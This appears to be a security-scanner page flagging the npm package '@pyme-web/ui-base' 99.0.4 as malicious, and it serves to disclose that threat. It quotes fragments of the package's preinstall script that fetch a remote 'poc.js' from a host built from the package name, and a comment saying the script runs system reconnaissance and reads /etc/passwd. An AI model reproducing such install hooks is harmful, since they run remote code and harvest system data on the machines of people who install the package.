All @pyme-web/ui-base versions
@pyme-web/ui-base @99.0.4
ui-base utilities
Maintainers
Keywords
SAST Findings (5)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (eab2c81e97c8146c46ffb678c52fb60f90b2fd46a361a6b1bfa94e497314399f) The OpenSSF Package Analysis project identified '@pyme-web/ui-base' @ 99.0.4 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Script: node preinstall.js
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.
Review Summary
Risk score: 100 (capped from 148). Findings: 1 critical (+40), 3 high (+75), 3 medium (+30), 1 low (+3).
Published to npm: